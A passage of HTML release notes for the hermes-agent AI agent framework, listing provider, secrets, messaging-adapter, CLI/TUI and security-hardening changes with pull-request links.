<li><strong><code>hermes proxy</code> xAI upstream</strong> — OpenAI-compatible local proxy backed by xai-oauth. (<a href="https://github.com/NousResearch/hermes-agent/pull/28356" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28356/hovercard">#28356</a>)</li>
<li><strong>May 15 model retirement detection + <code>hermes migrate xai</code></strong> for grok-4 / grok-3 / grok-code-fast-1 / grok-imagine-image-pro. (<a href="https://github.com/NousResearch/hermes-agent/pull/29277" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29277/hovercard">#29277</a>)</li>
<li><strong>Opt-in <code>auto_speech_tags</code></strong> for natural xAI TTS voice replies. (<a href="https://github.com/NousResearch/hermes-agent/pull/29376" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29376/hovercard">#29376</a>)</li>
<li><strong>xai-oauth base_url pinned to x.ai origin</strong> — closes silent credential-leak vector. (<a href="https://github.com/NousResearch/hermes-agent/pull/28952" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28952/hovercard">#28952</a>)</li>
<li><strong>OpenAI-style execution guidance</strong> applied to Grok / xai-oauth models. (<a href="https://github.com/NousResearch/hermes-agent/pull/27797" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27797/hovercard">#27797</a>)</li>
<li>xAI: detect retired May 15 models in doctor/chat startup. (<a href="https://github.com/NousResearch/hermes-agent/pull/29277" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29277/hovercard">#29277</a>)</li>
<li>xAI: resolve Grok Build context for OAuth. (<a href="https://github.com/NousResearch/hermes-agent/pull/30579" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30579/hovercard">#30579</a>)</li>
<li>xAI OAuth: tier-gated 403 with API-key fallback. (<a href="https://github.com/NousResearch/hermes-agent/pull/28351" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28351/hovercard">#28351</a>)</li>
<li>xAI OAuth: PKCE <code>code_challenge</code> echo. (<a href="https://github.com/NousResearch/hermes-agent/pull/27560" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27560/hovercard">#27560</a>)</li>
<li>xAI OAuth: quarantine dead tokens on terminal refresh failure. (<a href="https://github.com/NousResearch/hermes-agent/pull/28116" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28116/hovercard">#28116</a>)</li>
<li>xAI OAuth: honor <code>WKE=unauthenticated</code> disambiguator at both classifier sites. (<a href="https://github.com/NousResearch/hermes-agent/pull/30872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30872/hovercard">#30872</a>)</li>
<li>xAI OAuth: accept bare-code manual paste (state=None). (closes <a href="https://github.com/NousResearch/hermes-agent/issues/26923" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/26923/hovercard">#26923</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33880" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33880/hovercard">#33880</a>)</li>
<li>xAI OAuth: fall back to manual paste on loopback timeout. (<a href="https://github.com/NousResearch/hermes-agent/pull/33231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33231/hovercard">#33231</a>)</li>
<li>xAI proxy: handle 429 rate-limit responses in proxy retry path. (<a href="https://github.com/NousResearch/hermes-agent/pull/33743" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33743/hovercard">#33743</a>)</li>
</ul>
<h3>Other providers</h3>
<ul>
<li><strong>OpenAI API as a first-class provider</strong> (distinct from Codex runtime). (<a href="https://github.com/NousResearch/hermes-agent/pull/31898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31898/hovercard">#31898</a>)</li>
<li><strong>Microsoft Entra ID</strong> auth for Azure Foundry (with 1M Anthropic-Messages beta preserved on Bearer). (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/27509" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27509/hovercard">#27509</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/27022" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27022/hovercard">#27022</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/28101" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28101/hovercard">#28101</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28084/hovercard">#28084</a>)</li>
<li><strong>OpenRouter</strong> sticky routing — <code>session_id</code> passed via <code>extra_body</code> so a long-running session keeps landing on the same upstream provider. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cybourgeoisie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cybourgeoisie">@Cybourgeoisie</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33939" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33939/hovercard">#33939</a>)</li>
<li>Nous: JWT token for inference; stop replaying invalid Nous refresh tokens. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rewbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rewbs">@rewbs</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27663" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27663/hovercard">#27663</a>)</li>
<li>Nous Portal: one-shot setup, status CLI, and Nous-included markers. (<a href="https://github.com/NousResearch/hermes-agent/pull/30860" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30860/hovercard">#30860</a>)</li>
<li>Anthropic adapter: extract 7 helpers from <code>convert_messages_to_anthropic</code>. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/27784" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27784/hovercard">#27784</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30386" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30386/hovercard">#30386</a>)</li>
<li>Catalog: add <code>qwen3.7-max</code> to Alibaba + Alibaba-Coding-Plan model lists. (<a href="https://github.com/NousResearch/hermes-agent/pull/33129" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33129/hovercard">#33129</a>)</li>
<li>opencode-go: route <code>qwen3.7-max</code> via <code>anthropic_messages</code>. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beardthelion/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beardthelion">@beardthelion</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32780" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32780/hovercard">#32780</a>)</li>
<li>opencode-go: expose Kimi K2 + DeepSeek reasoning controls. (<a href="https://github.com/NousResearch/hermes-agent/pull/30845" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30845/hovercard">#30845</a>)</li>
<li>Remove Vercel AI Gateway and Vercel Sandbox.</li>
<li>MiniMax OAuth: refresh short-lived access tokens per request. (<a href="https://github.com/NousResearch/hermes-agent/pull/30619" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30619/hovercard">#30619</a>)</li>
<li>Codex OAuth: quarantine terminal refresh errors. (<a href="https://github.com/NousResearch/hermes-agent/pull/28118" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28118/hovercard">#28118</a>)</li>
<li>Codex: drop dead model slugs that HTTP 400 on ChatGPT Pro. (<a href="https://github.com/NousResearch/hermes-agent/pull/33424" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33424/hovercard">#33424</a>)</li>
<li>Codex: sync <code>manual:device_code</code> pool entries on re-auth. (<a href="https://github.com/NousResearch/hermes-agent/pull/33744" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33744/hovercard">#33744</a>)</li>
<li>MiniMax OAuth: quarantine terminal refresh errors. (<a href="https://github.com/NousResearch/hermes-agent/pull/28119" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28119/hovercard">#28119</a>)</li>
</ul>
<hr>
<h2>🔑 Secrets</h2>
<ul>
<li><strong>Bitwarden Secrets Manager</strong> integration with lazy <code>bws</code> install. (<a href="https://github.com/NousResearch/hermes-agent/pull/30035" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30035/hovercard">#30035</a>)</li>
<li>Bitwarden: EU Cloud + self-hosted server URL support. (<a href="https://github.com/NousResearch/hermes-agent/pull/31378" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31378/hovercard">#31378</a>)</li>
<li>Label detected credentials with their source (Bitwarden). (<a href="https://github.com/NousResearch/hermes-agent/pull/30364" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30364/hovercard">#30364</a>)</li>
</ul>
<hr>
<h2>📱 Messaging Platforms (Gateway)</h2>
<h3>Gateway core</h3>
<ul>
<li><strong>Deliverable mode</strong> — agents ship artifacts as native uploads from any platform (Slack/Discord/Telegram/Teams/Email). (<a href="https://github.com/NousResearch/hermes-agent/pull/27813" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27813/hovercard">#27813</a>)</li>
<li><code>hermes send</code> — pipe any script's output to any messaging platform. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/19631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/19631/hovercard">#19631</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27188/hovercard">#27188</a>)</li>
<li>Debounce queued text follow-ups during active sessions. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/31235" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31235/hovercard">#31235</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31341" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31341/hovercard">#31341</a>)</li>
<li>Plugin-transformed final_response delivered through streaming gate. (<a href="https://github.com/NousResearch/hermes-agent/pull/31433" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31433/hovercard">#31433</a>)</li>
<li>Refresh cached agent tools on <code>/reload-mcp</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/32815" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32815/hovercard">#32815</a>)</li>
<li>Harden kanban + provider cleanup races on long-running workloads. (<a href="https://github.com/NousResearch/hermes-agent/pull/29479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29479/hovercard">#29479</a>)</li>
</ul>
<h3>New / reorganized adapters</h3>
<ul>
<li><strong>ntfy</strong> — 23rd platform, push notifications, plugin shape, zero core edits. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/30625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30625/hovercard">#30625</a> → <a href="https://github.com/NousResearch/hermes-agent/pull/4043" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/4043/hovercard">#4043</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30867/hovercard">#30867</a>)</li>
<li><strong>Discord</strong> adapter migrated to bundled plugin. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/24356" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24356/hovercard">#24356</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30591/hovercard">#30591</a>)</li>
<li><strong>Mattermost</strong> adapter migrated to bundled plugin. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/30916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30916/hovercard">#30916</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31748" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31748/hovercard">#31748</a>)</li>
</ul>
<h3>Telegram</h3>
<ul>
<li>Edit status messages in place instead of appending. (based on <a href="https://github.com/NousResearch/hermes-agent/pull/30141" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30141/hovercard">#30141</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qike-ms/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qike-ms">@qike-ms</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30864/hovercard">#30864</a>)</li>
<li>Skip-STT audio path + 2GB cap via local Bot API server. (<a href="https://github.com/NousResearch/hermes-agent/pull/28541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28541/hovercard">#28541</a>)</li>
<li>Route image documents (.png/.jpg/.webp/.gif) through vision pipeline. (<a href="https://github.com/NousResearch/hermes-agent/pull/28519" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28519/hovercard">#28519</a>)</li>
<li>Route audio file attachments away from STT pipeline. (<a href="https://github.com/NousResearch/hermes-agent/pull/28478" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28478/hovercard">#28478</a>)</li>
<li><code>disable_topic_auto_rename</code> gateway flag. (<a href="https://github.com/NousResearch/hermes-agent/pull/28523" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28523/hovercard">#28523</a>)</li>
<li><code>ignore_root_dm</code> config to drop messages without thread_id. (<a href="https://github.com/NousResearch/hermes-agent/pull/28536" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28536/hovercard">#28536</a>)</li>
<li>Chat-scoped auth without sender user_id. (<a href="https://github.com/NousResearch/hermes-agent/pull/28525" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28525/hovercard">#28525</a>)</li>
<li>Fail-closed auth fallback when <code>TELEGRAM_ALLOWED_USERS</code> is empty. (<a href="https://github.com/NousResearch/hermes-agent/pull/28494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28494/hovercard">#28494</a>)</li>
<li>Roll over tool progress bubbles + scope audio_file_paths. (<a href="https://github.com/NousResearch/hermes-agent/pull/28482" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28482/hovercard">#28482</a>)</li>
<li>Avoid duplicate text after auto-TTS voice replies. (<a href="https://github.com/NousResearch/hermes-agent/pull/28509" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28509/hovercard">#28509</a>)</li>
<li>Mark final voice reply notify-worthy so Telegram delivers it audibly. (<a href="https://github.com/NousResearch/hermes-agent/pull/28504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28504/hovercard">#28504</a>)</li>
</ul>
<h3>Discord</h3>
<ul>
<li>Recover Windows voice opus decoding. (<a href="https://github.com/NousResearch/hermes-agent/pull/33182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33182/hovercard">#33182</a>)</li>
<li><code>allow_any_attachment</code> config to accept arbitrary file types. (<a href="https://github.com/NousResearch/hermes-agent/pull/27245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27245/hovercard">#27245</a>)</li>
<li>Transcribe native voice notes. (<a href="https://github.com/NousResearch/hermes-agent/pull/28993" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28993/hovercard">#28993</a>)</li>
<li>Define UI view classes after lazy install. (<a href="https://github.com/NousResearch/hermes-agent/pull/28817" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28817/hovercard">#28817</a>)</li>
</ul>
<h3>Signal / Matrix / Feishu / Slack / WeCom</h3>
<ul>
<li>Signal: <code>require_mention</code> filter for group chats. (<a href="https://github.com/NousResearch/hermes-agent/pull/28574" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28574/hovercard">#28574</a>)</li>
<li>Matrix: warn on clock-skew silent message drops. (<a href="https://github.com/NousResearch/hermes-agent/pull/27330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27330/hovercard">#27330</a>)</li>
<li>Matrix E2EE installs full dep set; plugins respect <code>is_connected</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/31688" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31688/hovercard">#31688</a>)</li>
<li>Feishu: require webhook auth secret + honor config extras. (<a href="https://github.com/NousResearch/hermes-agent/pull/30746" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30746/hovercard">#30746</a>)</li>
<li>Feishu: enforce auth and chat binding for approval buttons. (<a href="https://github.com/NousResearch/hermes-agent/pull/30744" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30744/hovercard">#30744</a>)</li>
<li>Slack: socket recovery + Windows restart dedupe. (<a href="https://github.com/NousResearch/hermes-agent/pull/28873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28873/hovercard">#28873</a>)</li>
<li>WeCom: safe-parse untrusted XML. (<a href="https://github.com/NousResearch/hermes-agent/pull/32442" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32442/hovercard">#32442</a>)</li>
</ul>
<h3>DingTalk / Webhooks / Microsoft Graph</h3>
<ul>
<li>DingTalk: transcribe native voice notes. (<a href="https://github.com/NousResearch/hermes-agent/pull/28993" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28993/hovercard">#28993</a>)</li>
<li>Webhook: enforce <code>INSECURE_NO_AUTH</code> safety rail on dynamic route reloads. (<a href="https://github.com/NousResearch/hermes-agent/pull/30863" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30863/hovercard">#30863</a>)</li>
<li>Webhook: restrict default toolset capabilities. (<a href="https://github.com/NousResearch/hermes-agent/pull/30745" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30745/hovercard">#30745</a>)</li>
<li>Microsoft Graph: harden webhook auth requirements. (<a href="https://github.com/NousResearch/hermes-agent/pull/30169" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30169/hovercard">#30169</a>)</li>
</ul>
<hr>
<h2>🖥️ CLI &amp; TUI</h2>
<h3>CLI</h3>
<ul>
<li><code>/update</code> slash command in CLI and TUI. (<a href="https://github.com/NousResearch/hermes-agent/pull/23854" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23854/hovercard">#23854</a>)</li>
<li>Update auto-rollback when post-pull syntax check fails. (<a href="https://github.com/NousResearch/hermes-agent/pull/28669" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28669/hovercard">#28669</a>)</li>
<li><code>--branch</code> flag for <code>hermes update</code>. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/29591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29591/hovercard">#29591</a>)</li>
<li><code>/exit --delete</code> flag to remove session on quit. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/17665" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17665/hovercard">#17665</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27101" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27101/hovercard">#27101</a>)</li>
<li><code>▶ N</code> indicator in status bar for running <code>/background</code> tasks. (<a href="https://github.com/NousResearch/hermes-agent/pull/27175" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27175/hovercard">#27175</a>)</li>
<li>Live background terminal-process count in status bar. (<a href="https://github.com/NousResearch/hermes-agent/pull/32061" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32061/hovercard">#32061</a>)</li>
<li>Append session recap to <code>/status</code> output. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/18587" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/18587/hovercard">#18587</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27176" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27176/hovercard">#27176</a>)</li>
<li>Configurable paste-collapse thresholds (TUI + CLI). (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/29723" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29723/hovercard">#29723</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32087" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32087/hovercard">#32087</a>)</li>
<li><code>/resume</code> accepts position numbers. (<a href="https://github.com/NousResearch/hermes-agent/pull/31709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31709/hovercard">#31709</a>)</li>
<li>Bring tool-call display back — verbose mode, specific failure reasons, todo progress. (<a href="https://github.com/NousResearch/hermes-agent/pull/31293" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31293/hovercard">#31293</a>)</li>
<li>Validate runtime token refresh in Qwen auth status. (<a href="https://github.com/NousResearch/hermes-agent/pull/31196" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31196/hovercard">#31196</a>)</li>
</ul>
<h3>TUI</h3>
<ul>
<li><strong>TUI session orchestrator</strong> — multiple live sessions in one TUI window. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/27642" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27642/hovercard">#27642</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32980" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32980/hovercard">#32980</a>)</li>
<li><code>mouse_tracking</code> DEC mode presets. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/26681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26681/hovercard">#26681</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30084/hovercard">#30084</a>)</li>
<li>Termux scrollback preservation + touch-friendly defaults. (<a href="https://github.com/NousResearch/hermes-agent/pull/28910" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28910/hovercard">#28910</a>)</li>
<li>Full assistant text in scrollback (no history truncation). (<a href="https://github.com/NousResearch/hermes-agent/pull/28829" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28829/hovercard">#28829</a>)</li>
<li>Preserve scrollback when branching sessions. (<a href="https://github.com/NousResearch/hermes-agent/pull/30162" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30162/hovercard">#30162</a>)</li>
<li>Preserve Python dunder identifiers in markdown. (<a href="https://github.com/NousResearch/hermes-agent/pull/28582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28582/hovercard">#28582</a>)</li>
<li>Active profile shown in TUI prompt. (<a href="https://github.com/NousResearch/hermes-agent/pull/28581" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28581/hovercard">#28581</a>)</li>
<li>Improve Charizard completion menu contrast. (<a href="https://github.com/NousResearch/hermes-agent/pull/28346" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28346/hovercard">#28346</a>)</li>
<li>Stop slash dropdown chopping last char of <code>/goal</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/31311" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31311/hovercard">#31311</a>)</li>
<li>Clipboard copy on linux/wayland. (<a href="https://github.com/NousResearch/hermes-agent/pull/29342" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29342/hovercard">#29342</a>)</li>
<li>Anchor <code>splitReasoning</code> unclosed-tag regex; stop eating last paragraph. (<a href="https://github.com/NousResearch/hermes-agent/pull/29426" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29426/hovercard">#29426</a>)</li>
<li>Surface verbose tool details. (<a href="https://github.com/NousResearch/hermes-agent/pull/30225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30225/hovercard">#30225</a>)</li>
<li>Load Linux skills on Termux + salvage <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adybag14-cyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adybag14-cyber">@adybag14-cyber</a>'s Termux gates. (<a href="https://github.com/NousResearch/hermes-agent/pull/30166" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30166/hovercard">#30166</a>)</li>
<li>Handle images with codex app-server. (<a href="https://github.com/NousResearch/hermes-agent/pull/31220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31220/hovercard">#31220</a>)</li>
<li>Refresh virtual transcript on viewport resize. (<a href="https://github.com/NousResearch/hermes-agent/pull/31077" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31077/hovercard">#31077</a>)</li>
<li>Ignore late thinking deltas after completion. (<a href="https://github.com/NousResearch/hermes-agent/pull/31055" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31055/hovercard">#31055</a>)</li>
<li>Commit composer input bursts immediately. (<a href="https://github.com/NousResearch/hermes-agent/pull/31053" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31053/hovercard">#31053</a>)</li>
<li>Log parent gateway lifecycle exits. (<a href="https://github.com/NousResearch/hermes-agent/pull/31051" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31051/hovercard">#31051</a>)</li>
<li>Clear TTS env var on voice off + TTS indicator in status bar. (<a href="https://github.com/NousResearch/hermes-agent/pull/30987" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30987/hovercard">#30987</a>)</li>
<li>Pass <code>--expose-gc</code> as node argv instead of NODE_OPTIONS. (<a href="https://github.com/NousResearch/hermes-agent/pull/29998" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29998/hovercard">#29998</a>)</li>
<li>Align composer cursorLayout with wrap-ansi to kill multiline cursor drift. (<a href="https://github.com/NousResearch/hermes-agent/pull/27489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27489/hovercard">#27489</a>)</li>
<li>Harden Terminal.app rendering and color paths. (<a href="https://github.com/NousResearch/hermes-agent/pull/27251" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27251/hovercard">#27251</a>)</li>
<li>Keep <code>/goal</code> verdict out of compact status row. (<a href="https://github.com/NousResearch/hermes-agent/pull/27971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27971/hovercard">#27971</a>)</li>
<li>Clamp curses color 8 for 8-color terminals (Docker). (<a href="https://github.com/NousResearch/hermes-agent/pull/30260" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30260/hovercard">#30260</a>)</li>
</ul>
<hr>
<h2>🔒 Security &amp; Reliability</h2>
<h3>Promptware &amp; memory hardening</h3>
<ul>
<li><strong>Promptware defense</strong> — shared threat patterns + memory load-time scan + tool-result delimiters. (<a href="https://github.com/NousResearch/hermes-agent/pull/32269" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32269/hovercard">#32269</a>)</li>
<li>Expand memory content scanning patterns to parity with skills guard. (<a href="https://github.com/NousResearch/hermes-agent/pull/9151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/9151/hovercard">#9151</a>)</li>
<li>Harden Skills Guard multi-word prompt patterns. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/YLChen-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/YLChen-007">@YLChen-007</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26852" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26852/hovercard">#26852</a>)</li>
